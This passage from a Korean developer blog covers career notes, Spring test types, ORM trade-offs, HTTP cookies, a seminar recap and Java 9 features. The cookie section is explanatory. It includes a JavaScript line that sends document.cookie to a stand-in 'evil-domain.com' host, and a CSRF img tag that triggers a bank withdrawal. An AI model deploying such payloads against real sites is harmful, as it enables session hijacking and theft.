    • 변화에 대한 유연성
    • 회복탄력성
    • 조직적합성
    • 외국어 + 문화적응력
  • 그리고 직장 내 인간관계
    • 상사
    • 동료
      • 같은부서
      • 다른부서
    • 후임
  • 나뭇가지에 있는 새는 무엇을 믿을까?
    • 나뭇가지를 믿는게 아니라 내가 가지고 있는 날개를 믿자
  • 직업적인 자존심
    • 나를 위해 일한다
  • 당신의 선택에 대해 불평 하지 마라
  • 향후 노동시장 및 업무환경 변화
  • 경력의 시작 및 경력변경의 유형
    • 새로운 사업분야로 가는 경우 한번에 전직은 어렵다
  • 필요한 직무에 따라 연봉이 결정이 된다
  • 입사 결정 시 주요 고려 사항
    • 총체적 급여 수준
    • 기타 추가 지원받을 항목
    • 대상 회사 및 그 회사가 속한 산업의 발전 가능성
    • 기업 문화 및 경영 철학(중요)
    • 같이 일할 상사의 품성 및 리더십
    • 시간적 여유
    • 나쁜상사라도 좋은 회사로 가라
      • 좋은 회사라면 나쁜 상사가 오래 있지 못할 것
  • 당신이 다이아몬드 라면 팅겨도 된다
  • 연봉협상의 시점은 당신을 꼭 뽑아야 한다라고 했을때가 Best Time
  • 자신의 몸값을 높일 가장 확실한 방법
    • 실력과 성과
    • 프로가 되는것

기타

  • 우아한형제들 작은집 투어로 인한 구경
    • 조리 가능하고 식사가 가능한 방이 있음
    • 면접 대기실은 잔잔한 음악이 나옴
Share:

2019년 9월 16일 월요일

Spring TEST 종류


Spring TEST


통합테스트


장점

모든 Bean을 올려서 테스트
  • 쉽게 테스트 가능
  • 운영환경과 유사한 테스트
  • 전체적인 Flow 테스트 가능

단점

  • 모든 Bean을 올리기 때문에 시간이 오래걸리고 무거움
  • 테스트 단위가 커서 테스트 실패시 디버깅이 어려움
  • Rollback 처리가 안되는 테스트 진행을 하기 어려움

TEST

@RunWith(SpringRunner.class)
@SpringBootTest(
  classes = {CommonConfig.class},
  properties = "classpath:application-test.yml"),
 webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT
)
@Transactional
public class IntegrationTest{
  
  @Autowired 
  MockMvc mvc;
  
  @Autowired
  private TestRestTemplate restTemplate;
  
}
  • 요청부터 응답까지 전체 Flow를 TEST
  • @SpringBootTest는 실제 ApplicatonText를 로드
    • classes 속성에 @Configuration 을 사용하는 클래스가 있다면 내부에서 @Bean 어노테이션을 통해서 생성되는 빈도 모두 등록
    • webEnvironment을 통해 웹 환경 설정 가능
  • 웹 통합 테스트 가능
    • @TestRestTemplate
      • Servlet Container를 생성
      • Web Environment 설정을 기반으로 Port 실행
      • Clinet 입장에서 RestTemplate을 사용하듯이 테스트
    • @MockMvc
      • Servlet Container를 생성하지 않음
      • 서버 입장에서 구현한 API를 통해 비즈니스 로직이 문제없이 수행되는지 테스트
  • 기존에 정의했던 Configuration을 커스터마이징하고 싶은 경우
    • @TestConfiguration
      • ComponentScan을 통해서 감지되기 때문에 만일 @SpringBootTest의 classes 속성을 이용하여 특정 클래스만을 지정했을 경우에는 @TestConfiguation은 감지되지 않음
        • classes 속성에 직접 @TestConfiguration을 추가
        • @Import 을 통해 직접 사용할 TestConfiguration을 명시
          • 여러 테스트에서 공유하여 사용 가능
  • @ActiveProfiles을 통해 원하는 프로파일 환경값 설정 가능
  • @Transactional 을 사용하면 자동으로 rollback 처리
    • WebEnvironment.RANDOM_PORT, DEFINED_PORT를 사용하면 실제 테스트 서버는 별도의 스레드에서 테스트를 수행하기 떄문에 트랜잭션이 롤백되지 않음

Controller Test


장점

  • 관심사가 아닌 것들은 Mocking을 통해 외부 의존성을 줄임
  • 테스트 속도가 빠름
  • WebApplication 관련된 Bean들만 등록
  • 통합 테스트보다 속도가 빠름
  • 통합 테스트를 진행하기 어려운 테스트를 할 수 있음
    • 외부 API
    • Rollback 처리가 힘들거나 불가능한 경우
    • 실제로 호출 하면 안되는 API

단점

  • 의존성 객체를 Mocking하기 때문에 완벽한 테스트는 아님
  • Mocking 처리하기 위한 시간이 소요
  • Mocking 라이브러리에 대한 학습 비용 발생
  • Mock 기반 으로 테스트하기 때문에 실제 환경에서는 결과가 다를 수 있음

TEST

@RunWith(SpringRunner.class)
@WebMvcTest(TestController.class)
public class TestController {

    @MockBean 
    private MockService MockService;
  
    @Autowired
    private MockMvc mvc;

    //..

}
  • @MockBean을 선언하면 Mock 객체를 빈으로써 등록
  • @MockBean으로 선언한 객체와 같은 이름과 타입으로 이미 빈으로 등록되어있다면 해당 빈은 선언한 Mock 빈으로 대체
  • @WebMvcTest Scan 대상
    • @Controller
    • @ControllerAdvice
    • @JsonComponent
    • Filter
    • WebMvcConfigurer and HandlerMethodArgumentResolver
    • MockMvc를 자동으로 설정하여 Bean으로 등록
  • MockMvc를 자동으로 지원
    • HTTP 서버 없이 Controller 테스트 가능
    • Async Test를 할 경우 MvcResult로 받아서 asyncDispatch로 감싸줄 필요가 있음

Service Test


장점

  • 하고자 하는 테스트에만 집중
  • 관심사가 아닌 것들은 Mocking을 통해 외부 의존성을 줄임
  • 테스트 속도가 빠름

단점

  • 의존성 객체를 Mocking하기 때문에 완벽한 테스트는 아님
  • Mocking 처리하기 위한 시간이 소요
  • Mocking 라이브러리에 대한 학습 비용 발생

TEST

@RunWith(MockitoJUnitRunner.class)
public class MockServiceTest {

  @Mock
  private MockRepository mockRepository;
  
  @Spy
  private SpyRepository SpyRepository;

  @InjectMocks
  private MockService mockService;

  //..
}
  • @Mock을 사용하여 mock객체를 만들어 원하는 응답의 데이터를 설정
  • @InjectMocks@Mock이나 @Spy 어노테이션을 사용하는 Mock 객체를 자신의 멤버 클래스와 일치하면 주입
  • @Spy이 선언된 Mock 객체는 목 메소드를 선언하지 않았다면 실제 메소드가 호출


Repository Test


장점

  • Repository 관련된 Bean들만 등록
  • 통합 테스트보다 속도가 빠름
  • 테스트 범위가 작음

단점

  • 테스트 범위가 작기 떄문에 실제 환경과 다를 수 있음

TEST

@RunWith(SpringRunner.class)
@DataJpaTest
@AutoConfigureTestDatabase(replace = Replace.NONE)
public class RepositoryTest {
  
  @Autowired
  private TestRepository TestRepository; 

}

  • @DataJpaTest 을 사용하여 Repository에 대한 Bean만 등록
    • @Entity Class를 Scan
    • @Transactional 어노테이션을 포함
      • @Transactional 기능이 필요하지 않으면 @Transactional(propagation = Propagation.NOT_SUPPORTED) 설정
    • TestEntityManager 생성
  • @DataJpaTest는 기본적으로 in-memory embedded database에 대한 테스트를 진행
    • real database를 사용하고자 하는 경우@AutoConfigureTestDatabase 사용
  • JpaRepository에서 기본적으로 기본적으로 재공하는 메서드는 테스트 하지 않음
  • 단위 테스트마다 DB가 자동적으로 Rollback
  • @JdbcTest
    • Spring Data JPA를 사용하지 않고 순수 데이터베이스 테스트 할 떄 사용
    • 기본적으로 in-memory embedded database가 설정되며, 테스트를 위한 JdbcTemplate을 생성

Json Test

@JsonTest 을 사용하면 JSON serialization과 deserialization을 테스트
@RunWith(SpringRunner.class)
@JsonTest
public class ArticleJsonTest {
  
  @Autowired
  private JacksonTester<Member> json;

}
  • @JsonTestObjectMapper@JsonComponent 빈을 포함한 Jackson의 테스트를 위한 모듈들을 자동으로 설정
  • JacksonTester, GsonTester, BasicJsonTester 등 제공

Client Test

  • 서버가 아닌 클라이언트 입장에서 Test할 때 사용
    • Apache HttpClient나 Spring의 RestTemplate을 사용하여 외부 서버에 웹 요청할 때

장점

  • RestTemplate 같은 객체를 Mock 객체로 바꿔서 테스트하는 것보다 리얼 환경에 가깝게 단위 테스트를 수행

@RunWith(SpringRunner.class)
@RestClientTest(TestService.class)
public class TestServiceWithRestClientTest {
    
    @Autowired
    private MockRestServiceServer server;

}
  • @RestClientTest는 요청에 반응하는 가상의 Mock 서버를 만듬
    • 내부 코드에서 웹 요청이 발생할 경우 @RestClientTest로 인해서 생성된 가상의 서버가 응답

참고

Share:

ORM 장단점


ORM(Object-relational mapping) 장단점

관계형 데이터베이스를 관리하면서 객체 지향 원칙을 활용할 수 있도록 도와주며 효과적인 쿼리를 빠르게 기술할 수 있습니다. ORM 라이브러리/프레임워크가 모든 기능을 데이터베이스 스키마 및 쿼리로 변환하면서 객체를 설정하여 객체를 완전 관리 할 수 있습니다. 이렇게 함으로써 ORM에서의 코딩 경험과 익숙한 프로그래밍 관련 안전패턴을 쉽게 활용할 수 있습니다.

장점

  • 반복적인 SQL 코드가 필요하지 않아서 신속한 개발이 가능
  • 개발 비용을 절감
  • 업체별 SQL 차이점을 극복한다. ORM은 업체별 SQL을 작성하는 방법을 알고 있으므로 필요하지 않음
  • ORM으로 프로그래밍하는 것을 배우는 동안 개발자 생산성 저하되지만 장기적으로는 개발 시간을 단축
  • 객체 지향적인 코드로 인해 더 직관적이고 비즈니스 로직에 더 집중

단점

  • 모든것을 ORM으로만 구현하기 어려움
  • 프로젝트의 복잡성이 크면 구현하는 난이도가 상승
  • 잘못 구현한 경우 성능이 저하
  • 프로시저가 많은 곳은 ORM의 장점을 활용하기 어려움


Share:

2019년 9월 10일 화요일

Cookie란 무엇인가


Cookie

HTTP 쿠키(웹 쿠키, 브라우저 쿠키)는 서버가 사용자의 웹 브라우저에 전송하는 작은 데이터 조각입니다. 브라우저는 그 데이터 조각들을 저장해 놓았다가, 동일한 서버에 재 요청 시 저장된 데이터를 함께 전송합니다. 쿠키는 두 요청이 동일한 브라우저에서 들어왔는지 아닌지를 판단할 때 주로 사용합니다. 이를 이용하면 사용자의 로그인 상태를 유지할 수 있습니다. 상태가 없는(stateless) HTTP 프로토콜에서 상태 정보를 기억시켜주기 때문입니다.
쿠키는 주로 세 가지 목적을 위해 사용된다.
세션 관리(Session management)
서버에 저장해야 할 로그인, 장바구니, 게임 스코어 등의 정보 관리
개인화(Personalization)
사용자 선호, 테마 등의 세팅
트래킹(Tracking)
사용자 행동을 기록하고 분석하는 용도

저장된 쿠키(그리고 웹 페이지가 사용할 수 있는 다른 스토리지)를 보려면, 개발자 도구에서 Storage Inspector(스토리지 검사기)를 활성화하고 스토리지 트리에서 쿠키 스토리지를 선택하면 됩니다.

쿠키 만들기

HTTP 요청을 수신할때 , 서버는 응답과 함께 Set-Cookie 헤더를 전송할 수 있다. 쿠키는 보통 브라우저에 의해 저장되며 그 후에는 같은 서버에 의해 만들어진 요청(Request) 들의 Cookie HTTP 헤더안에 포함되어 전송된다. 만료일 혹은 지속시간 설정이 가능하고, 만료된 쿠키는 더이상 보내지 않는다. 추가적으로 특정 도메인 혹은 경로 제한을 설정할 수 있으며 이는 쿠키가 보내지는 것을 제한할 수 있다.

Set-Cookie 그리고 Cookie 헤더

Set-Cookie HTTP 응답 헤더는 서버로부터 사용자 에이전트로 전송됩니다. 아래와 같이 설정 가능하다.
Set-Cookie: <cookie-name>=<cookie-value>
이 서버 헤더는 클라이언트에게 쿠키를 저장하라고 전달한다.
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]
이제, 서버로 전송되는 모든 요청과 함께, 브라우저는 Cookie 헤더를 사용하여 서버로 이전에 저장했던 모든 쿠키들을 회신한다.
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

세션 쿠키

위에서 생성된 쿠키는 세션 쿠키이다. 클라이언트가 종료되면 삭제 될 것이다. 이유는 Expires 혹은 Max-Age를 명시하지 않았기 때문이다. 그러나 웹 브라우저는 세션 복구를 할 수 있으며, 이 기능은 브라우저가 결코 닫힌 적이 없던 것처럼 대부분의 세션 쿠키들을 영속적인 것으로 만든다.

영속적인 쿠키

클라이언트가 닫힐 때 만료되는 대신에, 영속적인 쿠키는 명시된 날짜(Expires)에 만료되거나 혹은 명시한 기간(Max-Age) 이후에 만료됩니다.
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

Secure과 HttpOnly 쿠키

Secure 쿠키는 HTTPS 프로토콜 상에서 암호화된(encrypted ) 요청일 경우에만 전송됩니다. 하지만 Secure일지라도 민감한 정보는 절대 쿠키에 저장되면 안된다, 본질적으로 안전하지 않고 이 플래그가 당신에게 실질적인 보안(real protection)를 제공하지 않기 때문입니다. 크롬52 혹은 파이어폭스52로 시작한다면, 안전하지 않은 사이트(http:) 는 쿠키에 Secure 설정을 지시할 수 없습니다.
Cross-site 스크립팅 (XSS) 공격을 방지하기 위해, HttpOnly쿠키는 JavaScript의 Document.cookie API에 접근할 수 없습니다; 그들은 서버에게 전송되기만 합니다. 예를 들어, 서버 쪽에서 지속되고 있는 세션의 쿠키는 JavaScript를 사용할 필요성이 없기 때문에 HttpOnly플래그가 설정될 것이다.
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

쿠키의 스코프

Domain 그리고 Path 디렉티브는 쿠키의 스코프를 어떤 URL을 쿠키가 보내야 하는지 정의합니다.
Domain은 쿠키가 전송되게 될 호스트들을 명시합니다. 만약 명시되지 않는다면, (서브 도메인은 포함되지 않는) 현재 문서 위치의 호스트 일부를 기본값으로 합니다. 도메인이 명시되면, 서브도메인들은 항상 포함됩니다.
만약 Domain=mozilla.org이 설정되면, 쿠키들은 developer.mozilla.org와 같은 서브도메인 상에 포함되게 됩니다.
PathCookie 헤더를 전송하기 위하여 요청되는 URL 내에 반드시 존재해야 하는 URL 경로입니다. %x2F ("/") 문자는 디렉티브 구분자로 해석되며 서브 디렉토리들과 잘 매치될 것입니다.
만약 Path=/docs이 설정되면, 다음의 경로들은 모두 매치될 것입니다:
  • /docs
  • /docs/Web/
  • /docs/Web/HTTP

SameSite 쿠키

SameSite 쿠키는 쿠키가 cross-site 요청과 함께 전송되지 않았음을 요구하게 만들어, cross-site 요청 위조 공격(CSRF)에 대해 어떤 보호 방법을 제공한다. SameSite 쿠키는 여전히 실험 중이며 모든 브라우저에 의해 아직 제공되지 않는다.

Document.cookie를 사용한 자바스크립트 접근

새로운 쿠키들은 Document.cookie를 사용해 만들어질 수도 있으며, HttpOnly 플래그가 설정되지 않은 경우 기본의 쿠키들은 자바스크립트로부터 잘 접근될 수 있습니다
document.cookie = "yummy_cookie=choco"; 
document.cookie = "tasty_cookie=strawberry"; 
console.log(document.cookie); 
// logs "yummy_cookie=choco; tasty_cookie=strawberry"
아래 보안 섹션에서 다루고 있는데로 보안 관련 내용들을 잘 알아두자. 자바스크립트에서 이용 가능한 쿠키들은 XSS를 통해 감청될 수 있다.

보안

기밀 혹은 민감한 정보는 전체 메커니즘이 본질적으로 위험하기 때문에 HTTP 쿠키 내에 저장되거나 전송되어서는 안됩니다.

세션 하이재킹과 XSS

쿠키는 대개 웹 애플리케이션에서 사용자와 그들의 인증된 세션을 식별하기 위해 사용되곤 한다. 그래서 쿠키를 가로채는 것은 인증된 사용자의 세션 하이재킹으로 이어질 수 있습니다. 쿠키를 가로채는 일반적인 방법은 소셜 공학 사용 혹은 애플리케이션 내 XSS 취약점을 이용하는 것을 포함합니다.
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
HttpOnly 쿠키 속성은 자바스크립트를 통해 쿠키 값에 접근하는 것을 막아 이런 공격을 누그러뜨리는데 도움을 줄 수 있습니다.

Cross-site 요청 위조 (CSRF)

위키피디아CSRF에 대한 좋은 예제가 있습니다. 위키피디아의 예와 같은 상황에서, 당신의 은행 서버에 돈을 입금하는 실제 요청 대신에, 실제로는 이미지가 아닌 이미지를 포함시키고 있습니다(예를 들어 필터링되지 않은 채팅이나 포럼 페이지 내에)
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
이제, 당신이 당신의 은행 계좌에 로그인하고 당신의 쿠키가 여전히 유효하다면(그리고 별 다른 검증 절차가 존재하지 않는다면), 해당 이미지를 포함하고 있는 HTML을 로드하자마자 돈이 송금될 것입니다. 이런 일들이 벌어지는 것을 방지하기 위한 몇 가지 기술이 있습니다:
  • XSS와 마찬가지로, 입력 필터링은 중요한 문제이다.
  • 모든 민감한 동작에 필수로 요구되는 확인 절차가 항상 수행되도록 한다.
  • 민감한 동작에 사용되는 쿠키는 짧은 수명만 갖도록 한다.
  • 좀 더 많은 예방 팁은 OWASP CSRF 예방 치트 시트를 참고하자.

트래킹과 프라이버시

서드파티 쿠키

쿠키는 그와 관련된 도메인을 가집니다. 이 도메인이 당신이 현재 보고 있는 페이지의 도메인과 동일하다면, 그 쿠키는 퍼스트파티 쿠키라고 불립니다. 만약 도메인이 다르다면, 서드파티 쿠키라고 부릅니다. 퍼스트파티 쿠키가 그것을 설정한 서버에만 전송되는데 반해, 웹 페이지는 다른 도메인의 서버 상에 저장된 (광고 배너와 같은) 이미지 혹은 컴포넌트를 포함할 수도 있습니다. 이러한 서드파티 컴포넌트를 통해 전송되는 쿠키들을 서드파티 쿠키라고 부르며 웹을 통한 공과와 트래킹에 주로 사용됩니다. 구글이 사용하는 쿠키 타입을 예로 참고하시기 바랍니다. 대부분의 브라우저들은 기본적으로 서드파티 쿠키를 따르지만, 그것을 차단하는데 이용되는 애드온들이 있습니다(예를 들어, EFF이 만든 Privacy Badger이 있습니다).
당신이 만약 서드파티 쿠키를 공개하고 있지 않다면, 쿠키 사용이 밝혀질 경우 소비자 신뢰를 잃을 수도 있습니다. (프라이버시 정책과 같은) 명백한 공개는 쿠키 발견과 관련된 모든 부정적인 효과를 없애는 경향이 있습니다. 어떤 국가들은 쿠키에 관한 법률도 가지고 있습니다. 위키피디아의 쿠키 구문을 예로 참고하시기 바랍니다.

Do-Not-Track

쿠키 사용에 대한 합법적이거나 기술적인 요구사항은 없지만, DNT 헤더는 웹 애플리케이션이 트래킹 혹은 개인 사용자의 cross-site 사용자 트래킹 모두를 비활성화하는 신호로 사용될 수 있습니다. 좀 더 자세한 내용은 DNT 헤더를 참고하시기 바랍니다.

EU 쿠키 디렉티브

EU 전역의 쿠키에 대한 요구사항은 유럽 의회의 Directive 2009/136/EC에 정의되어 있으며 2011년 5월 25일에 발효되었습니다. 디렉티브는 그 자체로 법은 아니지만, 디렉티브의 요구사항을 만족시키는 법을 제정하려는 EU 회원국들을 위한 요구사항입니다. 실제 법들은 나라마다 다를 수 있습니다.
짧게 말하자면, EU 디렉티브는 컴퓨터, 모바일 폰 혹은 다른 기기들에서 누군가가 어떤 정보든지 저장하거나 검색하기 전에, 사용자는 그렇게 하기 위해 사전 동의해야만 한다는 내용입니다. 많은 웹 사이트들은 사용자가에게 쿠키 사용에 대한 내용을 알려준 뒤에 배너들을 추가할 수 있습니다.
좀 더 자세한 내용은 여기 위키피디아 섹션을 보시고 가장 최근의 가장 정확한 정보는 국가법을 참고하시기 바랍니다.

좀비 쿠키와 Evercookies

쿠키에 대한 좀 더 급진적인 해결책은 삭제 이후에 다시 생성되는 좀비 쿠키 혹은 "Evercookies"이며 의도적으로 영원히 제거하는 것이 어려운 쿠키입니다. 그들은 쿠키가 존재 여부와 관계없이 그들 자신을 다시 만들어내기 위해 웹 스토리지 API, Flash 로컬 공유 객체 그리고 다른 기술들을 사용하고 있습니다.

참고

Share:

2019년 8월 7일 수요일

AHEA 2019 상반기 세미나 발표 후기

2019.06.01에 상반기 2019 AHEA 상반기 세미나에서 처음으로 발표자로 서게 되었다.

2019 상반기에 AHEA 스터디에 참여하게 되었다.
내부적으로 세미나 준비가 이미 진행 중이어서 나도 주제를 하나 선택하여 참여해야 했다. 기간이 많이 남아 있지 않아서 주제를 고민 하던 중 JAVA8버전 이후 버전에 고민하던 중에 많이 사용하지 않고 있는 자바 버전 중 개발 관련 내용을 많이 담고 싶어서 자바 9버전을 발표하기로 했다.
발표 1달 전쯤에 다 같이 모여 피드백을 진행하는 자리가 있었다. 자료를 공유하며 피드백을 받는 자리가 있었다. 부족한 부분과 내용에 대해 피드백을 받고 나서 발표자료를 준비하였다.


모인 이후에 onoffmix에서 세미나 모집을 했는데 제한 인원이 100명이 되었는데 빠르게 마감이 되어서 그때부터 매우 긴장되었다.

실제 발표가 있기 2주 전쯤 모여서 한 번 더 피드백을 하는 자리를 마련했다. 이때는 발표자료가 서로 어느 정도 완성되어서 발표자료에 대한 보완점에 대해 서로 피드백을 해주었다.


발표자료를 계속 다듬으며 연습을 하다 보니 실제 발표일이 다가왔다. 발표는 1시부터 시작이었지만 리허설을 위해 9시부터 모여서 발표준비를 하였다. 실제 발표할 공간에 오니 더욱더 긴장되었고 첫 세션 발표를 하게 되어서 리허설 후에 발표할 보며 계속 연습을 하였다.



드디어 첫 세션이 시작되었고 30~40분 정도 발표를 하였다. 발표하면서 청중과 호흡하면서 진행하지 못해서 아쉬움이 많았다. 다음에 발표할 때 개선해야 할 점이라고 생각한다.


발표 이후에 세미나에 관련된 경험을 마이크로소프트웨어에 기고할 기회가 생겨서 세미나를 통해 경험하였던 내용을 기고하였다.



Share:

JAVA8말고 JAVA9를 사용해볼까





현재 많은 개발자가 Java8 버전을 사용하여 개발을 하고 있습니다.
Java9 부터는 6개월마다 새로운 버전의 Java가 출시되면서 현재 12버전까지 출시 하였습니다.
그 중에서 JAVA9 버전에 관해 대해 자세히 알아봅니다.

JDK 출시 및 지원 기간


JDK 출시 및 지원기간에 대해 알아보겠습니다. 파란색 마커는 무료 버전 OpenJDK의 출시시기 및 지원 기간을 나타내고 주황색 마커는 유료 버전 Oracle JDK를 뜻합니다.무료 OpenJDK 6 개월마다 메이저 버전 업이 등장하고 그 때마다 지원 기간이 종료하는 것을 알 수 있습니다. Java 11부터 Java는 3 년마다 "LTS"(Long Term Support)라는 장기 지원에 대응 한 메이저 버전이 등장합니다. 그 LTS 버전마다 Oracle JDK의 메이저 버전 업을 합니다.
메이저 버전 업 후에는 이전 주요 버전에 대한 마이너 버전 업을하지 않게됩니다.


왜 Java는 6 개월마다 메이저 버전 업으로 출시 모델을 변경하는 걸까요? Java는 지금까지 큰 기능 추가에 따라 메이저 버전 업을 해왔습니다. 큰 새로운 기능의 개발에 오랜 시간이 걸리고 때로는 개발 일정 지연도 있었습니다. 예를 들어, Java 6에서 7로 메이저 버전 업에는 4 년 8 개월, Java 7에서 8로 2 년 8 개월, Java 8-9로는 3 년 6 개월 걸렸습니다. 최근에는 Java는 다른 언어 나 기술과 비교하면 진화가 느린 다소 오래된 것으로 보입니다.기존 출시 모델을 바꾸게 6 개월마다로 전환 한 것은 이러한 점에서 Java를 지금까지보다 빠른 속도로 전진 시키려고하고 있기 때문입니다.

마이그레이션시 우려 사항

많은 개발자들이 Java8에서 Java9로 업그레이드 할 때 많은 변경으로 인해 애플리케이션이 중단될수 있다는 걱정이 있습니다. 변경 사항 중 하나는 내부 API의 캡슐화 입니다. 애플리케이션에서 내부 API를 사용하지 않는 경우 Java9 이상으로 마이그레이션 하는것은 어렵지 않습니다.

알아두면 좋을 변경된 점


HTTP 2 Client

  • HttpURLConnection를 대체
    • 요청,응답의 하나의 스레드만 지원
    • 오버헤드 발생
  • jdk.incubator.http 패키지 추가
  • HTTP/1.1 및 HTTP/2 프로토콜 지원
    • JAVA1.8 까지는 HTTP/ 1.1만을 지원
  • 동기/비동기 지원

HttpClient client = HttpClient
    .newBuilder()
    .version(Version.HTTP_2)
    .build();

//동기 호출
HttpResponse<String> response = client.send(
    HttpRequest
        .newBuilder(TEST_URI)
        .POST(BodyProcessor.fromString("Hello world"))
        .build(),
    BodyHandler.asString()
);

//비동기 호출
//임의의 정수가 비동기적으로 요청, 완료 될 때까지 주 스레드 대기
List<CompletableFuture<String>> responseFutures = new Random()
    .ints(10)
    .mapToObj(String::valueOf)
    .map(message -> client
        .sendAsync(
          HttpRequest.newBuilder(TEST_URI)
            .POST(BodyProcessor.fromString(message))
            .build(),
          BodyHandler.asString()
        )
        .thenApply(r -> r.body())
    )
    .collect(Collectors.toList());

CompletableFuture.allOf(responseFutures.toArray(new CompletableFuture<?>[0])).join();

responseFutures.stream().forEach(future -> {
  LOGGER.info("Async response: " + future.getNow(null));
});


Map<HttpRequest, CompletableFuture<HttpResponse<String>>> responses =
  client.sendAsync(
    HttpRequest.newBuilder(TEST_URI)
      .POST(BodyProcessor.fromString(TEST_MESSAGE))
      .build(),
    MultiProcessor.asMap(request -> Optional.of(BodyHandler.asString()))
  ).join();

responses.forEach((request, responseFuture) -> {
  LOGGER.info("Async response: " + responseFuture.getNow(null));
});

More Concurrency Updates (reactive stream)

  • CompletableFuture 개선
  • reactive stream 도입
    • 게시자, 구독자, 구독, 프로세서
  • java.util.concurrent.Flow 패키지 추가

Reactive Streams 표준 구현은 java.util.concurrent.Flow 클래스에 있으며 Flow클래스 내에 정적 인터페이스로 번들로 제공
public final class Flow {
    private Flow() {} // 인스턴스 생성 불가
    
    @FunctionalInterface
    public static interface Publisher<T> {
        public void subscribe(Subscriber<? super T> subscriber);
    }
    
    public static interface Subscriber<T> {
        public void onSubscribe(Subscription subscription);
        public void onNext(T item);
        public void onError(Throwable throwable);
        public void onComplete();
    }
    
    public static interface Subscription {
        public void request(long n);
        public void cancel();
    }
    
    public static interface Processor<T,R> extends Subscriber<T>, Publisher<R> {}
    
}
게시자 구현이 포함되어 있는 SubmissionPublisher
  • submit(T item)메서드를 사용하여 구독자에게 푸시 할 항목을 허용하는 단순한 게시자 역할
  • submit메서드를 실행하면 구독자에게 비동기적으로 푸시
public class PrintSubscriber implements Subscriber<Integer> {
    private Subscription subscription;
    @Override
    public void onSubscribe(Subscription subscription) {
        this.subscription = subscription;
        subscription.request(1);
    }
    @Override
    public void onNext(Integer item) {
        System.out.println("Received item: " + item);
        subscription.request(1);
    }
    @Override
    public void onError(Throwable error) {
        System.out.println("Error occurred: " + error.getMessage());
    }
    @Override
    public void onComplete() {
        System.out.println("PrintSubscriber is complete");
    }
}
public class SubmissionPublisherExample {
    public static void main(String... args) throws InterruptedException {
        SubmissionPublisher<Integer> publisher = new SubmissionPublisher<>();
        publisher.subscribe(new PrintSubscriber());
        System.out.println("Submitting items...");
        for (int i = 0; i < 10; i++) {
            publisher.submit(i);
        }
        Thread.sleep(1000);
        publisher.close();
    }
}

/*
Submitting items...
Received item: 0
Received item: 1
Received item: 2
Received item: 3
Received item: 4
Received item: 5
Received item: 6
Received item: 7
Received item: 8
Received item: 9
PrintSubscriber is complete
*/
구독자 내 Subscription에서 onSubscribe메소드 에 전달 된 객체를 캡처하여 Subscription 나중에 해당 객체와 상호작용 할 수 있습니다.( subscription.request(1)호출)
onNext메소드 내에서 게시자가 항목 처리를 완료하자마자 다른 항목을 수락 할 준비가 되었음을 게시자에게 알립니다.
SubmissionPublisherPrintSubscriber를 인스턴스화하고 후자를 전자에 구독한다. 구독이 설정되면 게시자에게 0에서 9까지의 값을 제출하고 구독자에게 값을 비동기 적으로 푸시합니다. 그런 다음 구독자는 값을 표준 출력하여 각 항목을 처리하고 다른 값을 받아 들일 준비가되었음을 구독에 알립니다. 그런 다음 비동기 전송이 완료 될 수 있도록 1 초 동안 주 스레드를 일시 중지합니다. submit 메소드가 제출 된 항목을 비동기 적으로 구독자에게 푸시하기 때문에 이는 매우 중요한 단계입니다. 따라서 비동기 작업이 완료 될 때까지 상당한 시간을 제공해야합니다. 마지막으로 게시자를 닫고 구독자에게 가입이 완료되었음을 알립니다.
프로세서를 도입하고 원래의 게시자와 구독자를이 프로세서와 연결할 수 있습니다. 수신 된 값을 10 씩 증가시키고 증가 된 값을 구독자에게 푸시 (push)하는 프로세서를 생성합니다.
각각의 푸시된 값은 10씩 증가하며, 프로세서에 의해 수신된 이벤트(오류 수신 또는 완료 등)는 가입자에게 전달되며, 결과적으로 PlusTenProcessorPrintSubscriber 에 대해 완료된 메시지가 표시된다.
public class PlusTenProcessor extends SubmissionPublisher<Integer> implements Subscriber<Integer> {
    private Subscription subscription;
    @Override
    public void onSubscribe(Subscription subscription) {
        this.subscription = subscription;
        subscription.request(1);
    }
    @Override
    public void onNext(Integer item) {
        submit(item + 10);
        subscription.request(1);
    }
    @Override
    public void onError(Throwable error) {
        error.printStackTrace();
        closeExceptionally(error);
    }
    @Override
    public void onComplete() {
        System.out.println("PlusTenProcessor completed");
        close();
    }
}
public class SubmissionPublisherExample {
    public static void main(String... args) throws InterruptedException {
        SubmissionPublisher<Integer> publisher = new SubmissionPublisher<>();
        PlusTenProcessor processor = new PlusTenProcessor();
        PrintSubscriber subscriber = new PrintSubscriber();
        publisher.subscribe(processor);
        processor.subscribe(subscriber);
        System.out.println("Submitting items...");
        for (int i = 0; i < 10; i++) {
            publisher.submit(i);
        }
        Thread.sleep(1000);
        publisher.close();
    }
}

/*
Submitting items...
Received item: 10
Received item: 11
Received item: 12
Received item: 13
Received item: 14
Received item: 15
Received item: 16
Received item: 17
Received item: 18
Received item: 19
PlusTenProcessor completed
PrintSubscriber is complete
*/

Convenience Factory Methods for Collections

불변 Collection 메소드가 생겼습니다.
예전에는 아래와 같이 불편하게 사용해야 했습니다.
List<String> band = new ArrayList<>();
band.add("Bruce");
band.add("Steve");
band.add("Adrian");
band.add("Janick");
band.add("Nicko");
band = Collections.unmodifiableList(band);

//stream
List<String> band = Collections
  .unmodifiableList(Stream.of("Bruce","Steve","Adrian", "Dave", "Janick","Nicko")
    .collect(toList()));
불변의 Collection이란 생성한 Collection을 수정할 수 없는 것을 말합니다.
  • java.util 패키지는 package-private ImmutableCollections 클래스로 구성되어 있으며 불변 기능을 제공하는 클래스가 있습니다.
  • 클래스의 인스턴스는 이미 존재하는 인터페이스의 정적 팩토리 메소드를 사용하여 만들어집니다.

List

불변의리스트에는 추상 기본 클래스 AbstractImmutableList<E> 와 4 개의 구현이 있습니다.
  • List0<E>
  • List1<E>
  • List2<E>
  • ListN<E>
이러한 각 유형은 작성하는 데 사용되는 요소의 수에 해당합니다. java.util.List 인터페이스에는 위의 구현을 사용하여 불변의 객체를 생성하는 12가지 정적 팩토리 메소드가 있습니다.
static <E> List<E> of()

static <E> List<E> of(E e1)

